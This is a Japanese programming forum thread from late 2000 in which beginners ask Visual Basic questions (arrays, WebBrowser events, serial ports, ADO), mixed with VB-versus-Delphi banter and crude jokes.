158:2000/11/13(月) 13:34
チャットでの自動送信のスクリプト教えて下さい
東風でしゃべりながら打つと負けてしまいます
159名無しさん@お腹いっぱい。:2000/11/13(月) 16:36
VBがうんこなら
どの言語がうんこじゃないんですか?
160名無しさん@お腹いっぱい。:2000/11/13(月) 16:39
>>158
それを使えば、荒らすことも可能なのねん♪
だから、教えてあげないのねん♪
それから、それから、馬鹿は死んでなのねん♪
161名無しさん:2000/11/13(月) 19:08
>>158
俺に麻雀で勝ったら教えてやる
162名無しさん@お腹いっぱい。:2000/11/13(月) 22:42
>>158
そうじゃなくて、必要なのは自動でマージャンやるプログラムだろ?
きみはただ喋っていれば良いのだ。
163とんぷうべてらん:2000/11/13(月) 23:34
5秒以内の連続送信はできないようになっています
164名無しさん@お腹いっぱい。:2000/11/14(火) 16:02
一般的に、レイトバインディングとアーリーバインディングは、どちらを使っていったほうがいいでしょうか?
165:2000/11/14(火) 16:08
>>164
VBじゃないんでない?
166名無しさん@お腹いっぱい。:2000/11/14(火) 18:14
>>165
阿保
167名無しさん@お腹いっぱい。:2000/11/17(金) 15:08
アセンブラでGO!
168名無しさん@お腹一杯:2000/11/17(金) 16:21
>>164
一般的には宿題は朝のすずしいうちにやると良い
169名無しさん@お腹いっぱい。:2000/11/19(日) 18:00
初めまして。
関数の戻り値へ配列を格納したいのですが、できません。
例を書くと、
Private Sub Command1_Click()
Dim i as Integer '欲しい乱数の個数
i =2
//わからない場所1
End Sub

Private Function RndFnc(i As Integer) As Single
Dim sngA() As single
ReDim sngA(i) '//欲しい乱数の個数だけ配列を作る
Dim x As Integer

'欲しい数だけ乱数を作って配列へ格納
For x = 0 To i Step 1
sngA(x) = Rnd()
Next
//わからない場所2
End Function

//わからない場所1で、関数を呼び出して受け取る時に、
Dim sngRet(2) As Single
sngRet() = RndFnc(i)
と書いてみたのですが駄目でした。

//わからない場所2で、関数の戻り値に配列を格納する方法がわかりません。
どこがおかしいのでしょうか?
170名無しさんi486:2000/11/19(日) 18:27
sngRet() = RndFnc(i)
これは出来ないね。たぶん。
動的配列はスタブの関数内で変更できないから。

特にこだわりがないのなら素直に引数にしたら?


Private Sub Command1_Click()

 Dim sngA() As Single
 Call RndFnc(1, sngA)

End Sub


Private Function RndFnc(i As Integer, sngA() As Single) As Boolean
 ReDim sngA(i) '//欲しい乱数の個数だけ配列を作る
 Dim x As Integer

 '欲しい数だけ乱数を作って配列へ格納
 For x = 0 To i Step 1
 sngA(x) = Rnd()
 Next
End Function
171名無しさん@お腹いっぱい。:2000/11/19(日) 19:18
>>170
ありがとうございました。出来ました。
172名無しさん@お腹いっぱい。:2000/11/21(火) 22:41
VBのラーニングエディションではシェアウエアは作れないのでしょうか?
たしかプロフェッショナル以上じゃないと作れないと聞いた事があるのですが
お願いします。(趣味程度で、シェアウエア作るのが目的で、
職業にしようとかいうわけではありません)
173名無しさん@お腹いっぱい。:2000/11/21(火) 22:49
>>172
ドキュメントも読まずそんなことを聞く人間がまともなソフトを作れようはずもないので
シェアウエアにしたときの心配など無用です
174MS信者:2000/11/22(水) 04:58
はじめまして。まず、自己紹介から、私は以下のような人間です。

「ヴィジュアルベーシックを使っていると
マイクロソフトの独裁もいいかなぁぁと思うことがあります。」

それでは、質問させていただきます。一つのフォーム内でブラウザを制御して、
次のことをしたいのですが、よく分かりません。教えてください。お願いします。
1.新しいウィンドウを強制的に現在のウィンドウ(WebBrowserコントロール内)で開く。
2.WebBrowserのナビゲートと同時に、ソースの表示も更新する(ソースを表示するプログラムはできてます)。


175MS信者:2000/11/24(金) 04:33
Private Sub WebBrowser_NewWindow(うんぬん・・・)
Processed = False
としても新しいウィンドウがIE本体で開いてしまうのですが、どうしたらよいですか?

また、ブラウザコントロール内でハイパーリンクをクリックしたとき、
そのハイパーリンクの文字列はどこに格納されているのでしょうか?

教えてください。お願いします。
176名無し娘。:2000/11/24(金) 05:01
VBのMEという命令、オブジェクトについて教えてください
177MS信者:2000/11/24(金) 05:20
ちなみに、ソース表示プログラムを実行したついでに、URLを
ブラウザに渡すことは、可能です。しかし、その逆がむつかしいのです。
ただ、知識が足りないだけでしょうか?ほんのちょっとしたことで
できるなら、誰か教えてください。お願いします。
178>176:2000/11/24(金) 11:41
わからないのはどこですか?
meは他言語での self this と同じ趣のオブジェクト変数ですね
179名無しさん@お腹いっぱい。:2000/11/24(金) 15:11
ME = ミレニアムエディション×
ME = ピンクレディーの声の高い方×
180子猫:2000/11/24(金) 15:21
拡張子が、dbfのファイルをVBから操作したいんです。
たとえば、mdbファイルならDAOで参照できるじゃないですか?
確かにdbfファイルをアクセスに取り込んでから、DAOで参照すればいいじゃない
とは思うんですが、それだとインポートの手間がかかるため
何とかできないかなって思いました。
あーdbfって主流なの?

えっと同じ質問をプログラム版で出して怒られちゃいました。
で、こちらに質問来ました。よろしく御願いします。

181名無しさん@お腹いっぱい。:2000/11/24(金) 17:04
>>180
拡張子 dbf って、そりゃdBASEVかdBASEWのデータファイル?
もしそうなら dBASE を起動して
use ****.dbf
copy to ****.dbf type csv
または
copy to ****.dbf type sdf
で書き出しなされ。

dBASE のファイルはインデックスとデータが混じってるから
dBASE 自体で export しないと難しいのでは?
182子猫:2000/11/24(金) 22:59
>181
そうです!そのdBASEVのファイルなんです。。。
何でいまどきこんなファイルを。。。愚痴・。。。
レスありがとうございます。早速試してみます。
ありがとうございました。
183名無しさん@お腹いっぱい。:2000/11/24(金) 23:05
知り合いが、「VBでDirectXを触るのは死んでもやめたほうがいい」と言っていたんですが、どのようなところが悪いのでしょうか?
184名無し娘。:2000/11/25(土) 00:50
>178-179さん
Me がなにかを調べたんですけど、私の持っている本には載っていませんでした。
本には Me.Show Me.Refresh が使われています。
Me.*** は他に何があるか、どんなことができるか知りたいです。
185名無しさん@お腹いっぱい。:2000/11/25(土) 00:58
>>183
まずその知り合いに聞き直せ。
186名無しさん@お腹いっぱい。:2000/11/25(土) 02:27
GradientFill
SetLayeredWindowAttributes
などのAPIが,APIビュアーで見当たらないのですか、APIビュアのファイルの最新版とかは、MSのサイトで配布していないんでしょうか?
187183:2000/11/25(土) 02:43
>>183
その知り合いが、今精神病院に通っているので聞けそうにないです
188MS信者:2000/11/25(土) 03:41
174=175=177です。
誰かレズしてください。お願いします。
189名無しさん@お腹いっぱい。:2000/11/25(土) 04:17
>187
なんで?入院ならともかく、通ってるだけならきけるだろ?
190>188:2000/11/25(土) 05:00
おまえしつけーな。IE使ったブラウザなんか作るなボケ。
NewWindow
の時にキャンセルフラグをTRUEにすれば、ナビゲートされない。
クリックした文字列を獲得するのは、IE5では難しい。

あえてやるなら、windowオブジェクトに対してシンクしなきゃ
だめだろうな。VBじゃむりか(ワラ

新しいウインドウを自分で開きたいなら、自分で作ってppDispに渡す。
ブラウザからソースを知りたいなら、GetLocationURL()とGetUrlCacheEntryInfo()
を使えばいい。ぼけ
191MS信者:2000/11/25(土) 05:13
>190
どうも教授ありがとうございます。本で調べても、ブラウザ関係は
後ろの方にチョコッと載ってるだけだったもので、、、。
192名無しさん@お腹いっぱい。:2000/11/25(土) 06:22
>184
Meがカレントフォームインスタンスなことは分かってます?
193名無し娘。@184:2000/11/25(土) 07:35
>192さん
えー、そーゆーのはわかりますです
Me.Show Me.Refresh の他に何があるか、どんなことができるか知りたいです。
194MS信者:2000/11/25(土) 07:48
>新しいウインドウを自分で開きたいなら、自分で作ってppDispに渡す
ppDispって何ですか?どうやって渡せばいいのでしょうか?
>ブラウザからソースを知りたいなら、GetLocationURL()とGetUrlCacheEntryInfo()
>を使えばいい。ぼけ
ヴィジュアルベーシックでは、使えませんでした。
195>193:2000/11/25(土) 08:45
meは自分の事です。自分が出来る事なら何でも出来ます。
196山内:2000/11/25(土) 18:55
VBが「不正な処理」で動かないのですが。どうしてでしょうか?
「例」RARUTY が無効な命令を実行しました。
モジュール : OLEAUT32.DLL、アドレス : 015f:6539de4f
Registers:
EAX=80004005 CS=015f EIP=6539de4f EFLGS=00010213
EBX=0119d690 SS=0167 ESP=0075f9e0 EBP=0075f9fc
ECX=0075fa08 DS=0167 ESI=0075fa18 FS=1d27
EDX=00750003 ES=0167 EDI=00000000 GS=0000
Bytes at CS:EIP:
ff ff ff ff ff ff c1 49 81 e1 0a 00 00 80 8b c1
Stack dump:
66040cc6 005af6b4 0075fa08 0119dc20 0119d690 66004bd0 00000000 0075fa1c 6601ee9e 00000586 00000003 00000001 00000023 0119d690 005af6b4 0075fa5c
197名無しさん@お腹いっぱい。:2000/11/25(土) 21:38
動かないのはVBで作ったアプリじゃなくて
VBそのものなの?
198SAGE:2000/11/25(土) 21:49
>>194
俺VB使ったこと無いからよく知らんけど、ppDispは NewWindow2 イベントの第一引数。
Private object_NewWindow2 (ByVal ppDisp As Object, ByVal Cancel As Boolean)

LocationURL はブラウザコントロールのプロパティだ。
199名無しさん@お腹いっぱい。:2000/11/26(日) 01:59
SetLayeredWindowAttributesを使用したいんですけど、スタートメニューとタスクバーのウィンドウハンドルはどのように取得するのでしょうか?
200名無しさん@お腹いっぱい。:2000/11/26(日) 16:40
>>199
spy
201MS信者:2000/11/26(日) 23:12
>198
どうもありがとうございます。しかし、いろいろやってみても
新しいウィンドウで開くのを防ぐことはできても、
そのリンク先をもとのブラウザに渡して、開くことができません。
202山内=196:2000/11/27(月) 10:57
よく見たら折俺迷子だ。
203母を訪ねて名無しさん千里:2000/11/27(月) 21:21
とりあえずまったくの初心者でどうしてもVBが必要なのですが
勉強するとしたらどの本がいいのでしょうか?
204名無しさん@お腹いっぱい。:2000/11/27(月) 21:36
Javaアプレットの見たいのを、
ActiveXというのを使ってVBで作れるって聞きました

サンプルのサイトとかご存知でしたら教えてください
205名無しさん@お腹いっぱい。:2000/11/28(火) 02:46
ウェブブラウザのBeforeNavigate2が使えません。
文法通り記述して、objectにWebBrowserを充てるとエラーになります。
オブジェクト名は正しいので、原因がさっぱりです。
それと、HTMLのフレームが使ってあると、ソースがフレームのものしか読み込まれ
ないのですが、簡単に回避する方法はあるでしょうか?
206厨房:2000/11/30(木) 15:23
あのー、VBアプリからUNIXサーバのシェル起動って出来ますでしょうか・・・?
207名無しさん@お腹いっぱい。:2000/11/30(木) 17:52
ドラクエの会心のの一撃って、
・A=(自分の総合的な攻撃力)-(相手の総合的な防御力)
・Aがある一定の値を満たしたら乱数で(決められた確率で)抽選。
・抽選に当たったら会心の一撃
みたいな感じなんですか?
208207:2000/11/30(木) 17:54
スレ間違えました
209>203:2000/11/30(木) 18:02
分野によるんじゃない?
VBAと違ってやることは多岐に渡るわけで。
とりあえず初歩の初歩は安い本で事足りると思うけどね。
その後必要に応じて専門の本買えば?
210名無しさん@お腹いっぱい。:2000/12/02(土) 03:47
入力値にただ1を足す処理で
Private Sub cmdStart_Click()
  Dim intRet As Integer '結果
  Dim hoge As clsDefault
  Set hoge = New clsDefault
  hoge.data = txtDta.Text'入力値
  intRet = hoge.GetMath()
  txtRet.Text = intRet
  Set hoge = Nothing
End Sub
---
clsDefaultに
Private m_data As Integer

Public Property Get data() As Variant
under = m_data
End Property
Public Property Let data(ByVal vNewValue As Variant)
m_data = vNewValue
End Property

Public Function GetMath() As Integer
GetMath = m_data + 1 '1足す
End Function

Private Sub Class_Initialize()
m_data = 0
End Sub
------------
txtDta.Textの入力値が適正かどうかのエラー処理は、
1. hoge.dataへ格納する前
2. アクセス関数の中で。
のどちらが正しいのでしょうか?
211名無しさん@お腹いっぱい。:2000/12/02(土) 03:54
どちらでも良い。つか両方ヤレ>210
212名無しさん@お腹いっぱい。:2000/12/02(土) 04:05
あまり世間がクラスクラスって騒ぐからこういう風になるんだよ。
Private Sub cmdStart_Click()
 txtRet.Text = CInt(txtDta.Text) + 1
End Sub
で終わるのに。
213名無しさん@お腹いっぱい。:2000/12/02(土) 04:13
中学校の時のクラスは余り好きじゃなかったなあ。先生も
214となりのととろ:2000/12/02(土) 04:21
世の中いろんな人がいるなあ。
サンクスで肉まんでも買ってこよう。
215名無しさん@お腹いっぱい。:2000/12/04(月) 06:45
ActiveXコントロールなるものを使ってみようと思い立ちいろいろいぢってるのですが、
作ったコントロールを埋め込んだ フォームからDragして
ActiveXコントロール内にDropしたときにコードを蹴るためには
どんな技を使えばよいのでしょうか?
1. ○ 親フォームでDrag → 親フォームにDrop
2. ○ ActiveXコントロール内でDrag → ユーザコントロール内にDrop
3. × 親フォームでDrag → ユーザコントロール内にDrop
4. × ActiveXコントロール内でDrag → 親フォームにDrop
特に4の場合、なにか掴んでActiveXコントロールの外にマウスを持っていくと
マウスカーソルが"そいつは無理っす!!"と言い出します。
なんか方法があるのでしょうか? それとも無理なんすか…?
216215:2000/12/04(月) 06:49
言葉がバラバラでした。
s/ユーザ/ActiveX/
です。
217VB使い:2000/12/04(月) 07:25
すみません。
標準モジュールと、クラスの違いをおしえて下さい。
標準モジュールは、全体でつかえる、定数とか、関数を定義
できるというのが認識ですが、クラスというのはなんなんでしょうか?

218名無しさんi486:2000/12/04(月) 07:48
>>217
オブジェクトのメッセージとプロパティの定義を書く(つまりC++のクラス)
そのクラスのインスタンスを生成しオブジェクトとして操作する。

つまりオブジェクト指向な書き方が出来る。
現バージョンでは派生できないが。
219名無しさん@お腹いっぱい。:2000/12/04(月) 16:00
その書き方も次回VBでは大きく変わるらしい。
VBユーザはコンバートがんばって下さい。
http://www.microsoft.com/japan/developer/vstudio/nextgen/technology/vb6tovbdotnet.asp
220(´ー‘)y-〜〜:2000/12/04(月) 17:34
完全なオブジェクト指向言語になり、.netでマルチプラットフォームの仲間入り。
さようならDelphi。

221名無しさん@お腹いっぱい。:2000/12/04(月) 17:56
>>220
'不'完全な、の間違いに1000ヴェク
222(´ー‘)y-〜〜:2000/12/04(月) 18:15
Delphiに勝ち目が無くなるだけでいいや。
223名無しさん@お腹いっぱい。:2000/12/04(月) 18:25
マルチプラットフォームって・・・Win環境、IE環境に
思いっきり依存してますが・・・
kylixプロジェクトの方が魅力的。
224名無しさん@お腹いっぱい。:2000/12/04(月) 20:18
外部DLLを必要とする時点でDelphiに負けてます。
225名無しさん@お腹いっぱい。:2000/12/04(月) 22:03
基本型が無いので VBの負け
226名無しさん@お腹いっぱい。:2000/12/04(月) 22:04
ADOとBDEじゃ ADOが全然クソ
227名無しさん@お腹いっぱい。:2000/12/04(月) 22:05
コントロール配列ができないので Delphiの負け
って言いたいが VB.NETでも無くなるのでこれはドロー
228名無しさん@お腹いっぱい。:2000/12/04(月) 22:06
API宣言が面倒なので VBの負け
229名無しさん@お腹いっぱい。:2000/12/04(月) 22:07
構造体を Private宣言できないので VBの負け
230名無しさん@お腹いっぱい。:2000/12/04(月) 22:07
1ファイル1クラスなので VBの負け
231名無しさん@お腹いっぱい。:2000/12/04(月) 22:08
バージョンアップ時の仕様変更が超大胆なので VBの勝ち
232名無しさん@お腹いっぱい。:2000/12/04(月) 23:06
ぶいびーさいこうだよ
ぶいびーせぶんであのめんどうなえらーしょりがかいぜんされるんだよ
まいくろそふとのせいひんだしね
はせいもけいしょうもできるんだよ
ぶいびーさいこうだよ
233名無しさん@お腹いっぱい。:2000/12/04(月) 23:20
>はせいもけいしょうもできるんだよ
そりゃすごいね。
派生と継承ができるんだー
234名無しさん@お腹いっぱい。:2000/12/04(月) 23:29
↑おもしろいね
最初気がつかなかったよ
235名無しさん@お腹いっぱい。:2000/12/04(月) 23:56
なんか使えるコントロールがどんどん変わっていくね。
236名無しさん@お腹いっぱい。:2000/12/05(火) 04:21
各ボタンにテンキーを押した時と同じ効果を持たせたいのですが、どのようなソースを書けばいいですか?
237名無しさん@お腹いっぱい。:2000/12/05(火) 09:19
>>236
コントロール配列にしてそのままIndex抜いちゃうとか。
238名無しさん@お腹いっぱい。:2000/12/05(火) 12:40
GetProfileSection()のバッファサイズはどの位を指定すればいいんでしょうか?
239名無しさん@お腹いっぱい。:2000/12/05(火) 14:16
>>238
使う分だけ
240名無しさん@お腹いっぱい。:2000/12/05(火) 14:20
でるふぁいさいこうだよ
ぶいびーみたいにらんたいむだっていらないしさ
でるふぁいもそんなにねだんたかくないしね
でるふぁいしっくすでぶいびーせぶんをおいぬくよ
でるふぁいさいこうだよ
でるふぁいまんせ〜〜
241(´ー‘)y-〜〜:2000/12/05(火) 15:12
Delphiねぇ。
次期バージョンで完全にVBが上回ったからなぁ。
kylixはどうせ浮かび上がることもないだろうし。

時代の流れは速いねぇ。

242名無しさん@お腹いっぱい。:2000/12/05(火) 18:00
どこらへんが上回ったのだろう?初代Delphiから
あった機能がやっと実現できたぐらいで。

敷居が高くなった事かな?
243(´ー‘)y-〜〜:2000/12/05(火) 20:03
ん〜?
確かWin95が発売されたときMacユーザがそんなこと言ってたっけなぁ?
おいらは鼻で笑ってたけど。
244名無しさん@お腹いっぱい。:2000/12/05(火) 21:53
VBはどう見たって時代の流れが遅かった。
245名無しさん@お腹いっぱい。:2000/12/05(火) 21:59
ActiveX DLLをコンパイルする時の、DLLベースアドレスの設定の仕方がいまいちわかりません。
どうにか頭に叩き込む良い方法はないでしょうか?
246名無しさん@お腹いっぱい。:2000/12/05(火) 22:01
>(´ー‘)y-〜〜
くだらん煽りしてねえでさっさと初心者の質問
答えてやれよ。
247(´ー‘)y-〜〜 :2000/12/05(火) 22:15
>>245
OSが勝手に最適化してくれるからほっといても大丈夫さ〜〜
248名無しさん@お腹いっぱい。:2000/12/05(火) 22:36
VBはDelphi化しないで、よりお手軽を目指さしてほしいな
249名無しさん@お腹いっぱい。:2000/12/06(水) 04:48
ぶいびーせぶんはさいこうだよ
ばりあんとがたがなくなるんだ
しーしゃーぷやしーぷらすぷらすのこーどからもかんたんにけいしょうできるしね
あくせすかんすうだってみやすくなったよ
じつはぶいびーせぶんはでるふぁいをたおすためのごくひぷろじぇくとなんだ
ぶいびーさいこうだよ
250名無しさん@お腹いっぱい。:2000/12/06(水) 12:18
ずいぶんおおっぴらなごくひぷろじぇくとやな。
251名無しさん@お腹いっぱい。:2000/12/06(水) 14:00
.
252(´ー‘)y-〜〜:2000/12/06(水) 14:28
Delphiは風前の灯火。
あとは歴史に何を残すかが課題だねぇ
253名無しさん@お腹いっぱい。:2000/12/06(水) 16:01
VBのオリジナルを開発したアーキテクトって誰ですか?
254名無しさん@お腹いっぱい。:2000/12/06(水) 16:02
VB7になっても今までのActiveXコントロールは使えますか?
255名無しさん@お腹いっぱい。:2000/12/06(水) 16:11
VBでウィンドウにメディアプレーヤを組み込みました。
メディアプレーヤの再生ボタンを押したときのメッセージの受け取り方を教えてください。
256名無しさん@お腹いっぱい。:2000/12/06(水) 16:32
257名無しさん@お腹いっぱい。:2000/12/06(水) 17:07
>>254
もちろん。

aximp.exeとかいうのを使うと、ラッパークラスを作ってくれる。
ActiveXを継承することも可。
258名無しさん@お腹いっぱい。:2000/12/06(水) 18:23
>>256
VBのコードネームが Ruby・・・
259帝国主義者:2000/12/06(水) 18:35
M$帝国万歳!ゲイツ閣下万歳!ヘイルゲイツ!
260帝国主義者:2000/12/06(水) 19:25
VB7はOSやIE、OFFICEのバージョンやサービスパック
が上がっても影響しなくなりますか?LINUXやMAC OSでも
動きますか?
261名無しさん@お腹いっぱい。:2000/12/06(水) 21:00
Delphi は Linux で生き延びる。
262名無しさん@お腹いっぱい。:2000/12/06(水) 21:30
Private Function Fnc(ByRef intA As Integer) As Integer
 Dim intB As Integer
 intB = intA
 intB = 0 '※3
End Function
※3の部分で,参照渡しで渡されたintAのコピーintBの内容を変更したのと同時に元のintAの内容も変えるようなことは出来ないんでしょうか?
つまり、"intB"と"intAのメモリ内の格納値"を一心同体にするっていうか考えたんですけど。
263名無しさん@お腹いっぱい。:2000/12/06(水) 21:40
>>262
出来ません。
ところで、なぜそんな事したかったの?
264262:2000/12/06(水) 21:42
出来ないんですか。
ありがとうございました。
ただ思いついただけです.
265VBしらない:2000/12/06(水) 22:11
げ、できないんだ。変な言語。

intBをintAのリファレンスとして宣言するとか出来ないの?
266名無しさん@お腹いっぱい。:2000/12/06(水) 22:20
>>625
のほうが、簡単だからじゃない?
どーしてもしたければ、クラスを使うって手もある。
267(´ー‘)y-〜〜 :2000/12/06(水) 23:10
そんな事考えなくてもいいのがVBのいいところさ
268名無しさん@お腹いっぱい。:2000/12/06(水) 23:23
まいくろそふとさいこうだよ
びじゅあるすたでぃおどっとねっとはぺんてぃあむすりーはっぴゃくめがへるついじょうめもりにひゃくごじゅうろくいようならかいてきだよ。
しじょうのかっせいかにつながるね。
みんなぺんてぃあむふぉーかいなよ
いんてるはいってる?
まいくろそふとさいこうだよ
269名無しさん@お腹いっぱい。:2000/12/07(木) 00:44
ゲイツ様ってすてき!市場が活性化すれば
地球環境なんか知ったこっちゃないわ。
270名無しさん@お腹いっぱい。:2000/12/07(木) 13:43
質問です。

VB6のMSCommでRS-232Cの制御を考えてます。
計測器に"STX"(asciiコード)と"IT1"を送信したいのだけど、

Form1.MSComm1.Output = Chr$(2) & "IT1"

と書いてもうまく行きません。
"STX"を送るのに、上のような書き方ではダメなんでしょうか?
誰か教えてください。

271名無しさん@お腹いっぱい。:2000/12/07(木) 14:17
>>270
MSCommは使ったことねえけど、VBの母国語はUNICODEであり、
かつVBは外界は非UNICODEだと思っているので、
ANSI<->UNICODE変換にまつわる下らない諸問題に
はまることは良くあることだ。
MSCommのヘルプを良く読んで、「バイナリデータを送りたい
場合はStringではなくバイトの配列を使ってね」というような記述が
ないか(どうせあるに決まっているが)確認したまえ。
272名無しさん@お腹いっぱい。:2000/12/07(木) 14:39
僕の精液はイキがいいので、ティッシュでくるんで
ゴミ箱に入れると、ゴミ箱がコトコト揺れます。

そんな僕ですがVB理解できますか?
273名無しさん@お腹いっぱい。:2000/12/07(木) 14:49
>>272
それはちょっと難しいと思います
274名無しさん@お腹いっぱい。 :2000/12/07(木) 15:37
すいません。教えてください。
VBでSQLSERVERのテーブルにはいっている
データ件数をカウントしたいんです。
MoveLast をつかってRecordCountをつかうと
パフーマンスが低下するそうですが、他にいい方法があるのでしょうか?
275712:2000/12/07(木) 15:56
>>274
SELECT COUNT(*) FROM ...
ってのは?
276名無しさん@お腹いっぱい。:2000/12/07(木) 16:03
>(´ー‘)y-〜〜
こいつうざいねー。VB使いってこんな奴ばっかりなんですか?
277274(教えて君ですいません):2000/12/07(木) 16:17
>275
できました!ありがとうございます。
SQLで書くんですね・・・

ちなみにMSTテーブルの件数をカウントするために、

Set Cmd = New ADODB.Command
Cmd.ActiveConnection = Cn
Cmd.CommandTimeout = 0
Cmd.CommandType = adCmdText
Cmd.CommandText = "select * from MST where FLGA is null "
Set R01 = Cmd.Execute
MsgBox (R01.RecordCount)

と書くと、メッセージに−1が返えされてしまうのはなぜですか?

278名無しさん@お腹いっぱい。:2000/12/07(木) 16:27
まぁまぁ、近くに行くには原付が便利じゃない。
レーシングスーツ着てレーサーに乗るより、
車で逝くよりね。

Delphiが三輪車なだけだから。
279名無しさん@お腹いっぱい。:2000/12/07(木) 19:08
何言ってるのか自分でわかってる。
280名無しさん@お腹いっぱい。:2000/12/07(木) 19:51
ビル下何時がチーフソフトウェアアーキテクトなんて
やってる限りVBがクソに変わりはない。
281名無しさん@お腹いっぱい。:2000/12/07(木) 20:05
それより、根本的にPascalなんて使ってるDelphiはウンコにたかるハエは間違いない。
282名無しさん@お腹いっぱい。:2000/12/07(木) 20:09
VBvsDel板とかないの〜
283名無しさん@お腹いっぱい。:2000/12/07(木) 20:24
言語うんぬんはともかく、Delphiに勝ちはないのは確実。
284名無しさん@お腹いっぱい。:2000/12/07(木) 20:24
VBが問題ありなら、VBと比べられてるDelphiも問題あり
285名無しさん@お腹いっぱい。:2000/12/08(金) 00:12
VBはVer.2あたりで終わりました。
VB7は全面書換中(ヘジルスバーグの自宅のPCに眠っていた
Delphiのソースで)ですので出荷時期はいつになるかわかりません。
286一応サゲるか:2000/12/08(金) 12:56
ビジュアル開発環境でWindowsとLinuxと互換性のあるものは
Delphiだけになりますね。

コンパイル速度が10倍以上遅くて
ライブラリが月とスッポン並に使いにくいC++開発者って
のんびりやさんで幸せですね。
                   と、煽ってみたよ。

Delphiのこと知らないのにいうなよね>みんなさん
287名無しさん@お腹いっぱい。:2000/12/08(金) 12:59
アラン・クーパーってやつ今何してますか?
288一応サゲるか:2000/12/08(金) 13:01
あ、ここはC++すら使えないVBist<ダサ!
限定スレだったか。煽り間違いしてしまった。

VBしか使えない初級者を煽っても仕方なかった、スマソ
Delphi使いとして君らは相手してらんないんでナー(w
289名無しさん@お腹いっぱい。:2000/12/08(金) 13:20
Ver.2か・・・あの頃のホビーユースとしてのVBが
ちょうど良かったな。Ver.4はひどかった。
Ver.5, Ver.6とやっと少し安定してきたら
言語仕様の大幅変更か・・・(-_-)

SP5ぐらいまで待つか・・・ってゆーか.NETって
いつでるのよ?
290名無しさん@お腹いっぱい。:2000/12/09(土) 00:42
それより、根本的にBASICなんて使ってるVBはウンコにたかるハエのウンコに間違いない。

291名無しさん@お腹いっぱい。:2000/12/09(土) 01:13
VB野郎どもはVBしか使ったことないんだろ?
わんぱくでもいい、たくましく育て。家畜ども。
292名無しさん@お腹いっぱい。:2000/12/09(土) 03:54
VB楽しいッス。VB最高ッス。VB愛してるよ!
293名無しさん@お腹いっぱい。:2000/12/09(土) 07:14
VBばかにしてるけどさ、じゃああんたらはなにを使ってるのさ?
C?VC++? それで得意になってるのかい?
じゃあ聞くが、アインシュタインはVC++使えたのか?それどころか
VBすら使えなかったんじゃないのか?もし生きていたら、
アインシュタインとVBで勝負して勝つ自信あるよ、おれ。(w
294名無しさん@お腹いっぱい。:2000/12/09(土) 07:29
VBってウィルスバスター?
295アイソシュタイソ:2000/12/09(土) 07:30
>293
アヒャヒャ(゚∀゚)y─┛~~
296名無しさん@お腹いっぱい。:2000/12/09(土) 07:30
VB と Delphi 両方使ったら、コンパイラは適材適所というのが
感想ですなあ。
しかし、Delphi の方が適用範囲が広く、習熟するほどに開発効率が
上がるので、最近はもっぱら Delphi です。
297アイソシュタイソ:2000/12/09(土) 07:39
アヒャヒャ(゚∀゚)y─┛~~
>294
ウイルスそのものじゃねーの?
298名無しさん@お腹いっぱい。:2000/12/09(土) 08:50
VBが進化するからDelphiは焦っているんだよ
299名無しさん@お腹いっぱい。:2000/12/09(土) 09:33
>>293
アインシュタインだったらVBなら1週間程度でマスター
しちゃうかも。てか新しい言語作っちゃうかもな。
(コンピュータの発達した現代に生きてないのが残念だ。)

>>298
VBが進化するからVB使いは焦ってるんだよ。が本音だろ?

Kylixの発表は.NETのずっと前だったしね。
300名無しさん@お腹いっぱい。:2000/12/09(土) 09:38
>VBが進化するからVB使いは焦ってるんだよ。
そんなやついるわけないだろ。
301名無しさん@お腹いっぱい。:2000/12/09(土) 09:51
てか.NETはJ2EEの対抗上出さざるをえなかったと考えるのが
自然。Windows環境にがんじがらめにしてしまえというのが
その目的だね。UNIXやってる会社でC#にしようって会社はいない
と思うが。
302名無しさん@お腹いっぱい。:2000/12/09(土) 09:59
だがJava,UNIX技術者のいないドキュソな会社はまんまと
はまってしまうのだろう。
303名無しさん@お腹いっぱい。:2000/12/09(土) 10:02
とは逝っても今までVBもVCもM$のネームバリューで成功してるんだから。
しかも.NETになっても名前いっしょで過去遺産も移植できる可能性がある。
304名無しさん@お腹いっぱい。:2000/12/09(土) 14:05
C++のコンストラクタ・デストラクタは,VBで言うとClass_Initialize()・Class_Terminate()のような物ですか?
305名無しさん@お腹いっぱい。:2000/12/09(土) 15:05
なんかねえ でもドットネットは妙に皆が誉めてるし期待してるんだよね
こういう時はファーストの出来が悪いと逆に大コケするんだよね

サービスパックだらけとかバージョンアップの度に互換性が無いとか
になると、
結局OCXの罠商法で食ってる連中だけがまた食えるだけでジリ貧じゃないかな
306D:2000/12/09(土) 15:40
とりあえず、VB6からVBNに乗り換えるのは
ソース互換性がないので、苦労するでしょうね。
307名無しさん@お腹いっぱい。:2000/12/09(土) 21:26
スタートメニューとタスクバーのハンドルを取得するAPIを教えてください。
308>307:2000/12/09(土) 21:46
FindWindow
309名無しさん@お腹いっぱい。:2000/12/10(日) 04:05
VB使ってると頭悪くなってるような気がするんですが
なにかメリットはありますか?
310>309:2000/12/10(日) 05:50
頭が悪くてなっても仕事があります。
311名無しさん@お腹いっぱい。:2000/12/10(日) 07:07
>>310
でも、単価はあんまりよくないぞ。
312名無しさん@お腹いっぱい。:2000/12/10(日) 08:27
Delphi最後のあがきとしてログ取っておこう。
VBの栄光の歴史の1つに入れさせてもらうよ。
313名無しさん@お腹いっぱい。:2000/12/10(日) 10:35
はいはい、老後の楽しみにでも取っときなさい。
314名無しさん@お腹いっぱい。:2000/12/10(日) 21:32
質問です。
Learning Edition から Professional Edition にアップグレードってできるんですか。
315名無しさん@お腹いっぱい。:2000/12/11(月) 10:56
VBで迷ってるプログラムがあるんですが
1.Aのフォームを開く(最大化)
2.Bのフォームを開く(最大化)
3.Cのフォームを開く(最大化)
4.最大化されているCを閉じる

こういう動作をしたときにアクティブなフォームがAになってしまいます
フォームの動作を効率的に管理する方法は無いでしょうか?

開いた順にアクティブフォームを切り替えたいんですけど
316VBは細かい事知らん:2000/12/11(月) 11:58
Showで前にでるウインドウは指定できるけど。
親子関係を意識しないといかんね。>315
Showメソッドの第2引数に親の指定があったはず。
FormB.Show ,Me
でいいんじゃないの?
318315:2000/12/11(月) 12:31
315です
カキコしてから気づいたんですけど
今作ってるプログラムAccess2kでした
すいませんm(__)m
VBでは親フォーム指定できました。

VBAだとできないみたいですね
もうちょっと考えてみます。
319名無しさん@お腹いっぱい。:2000/12/11(月) 13:31
関数とVBAってどっちを使うべきか迷ってます。

関数を使っててどうしてもできない所をVBAでサポートするのか、
VBA使ってるならもう可能な限りVBAでこなしちゃった方が
良いのかということです。
320317:2000/12/11(月) 14:25
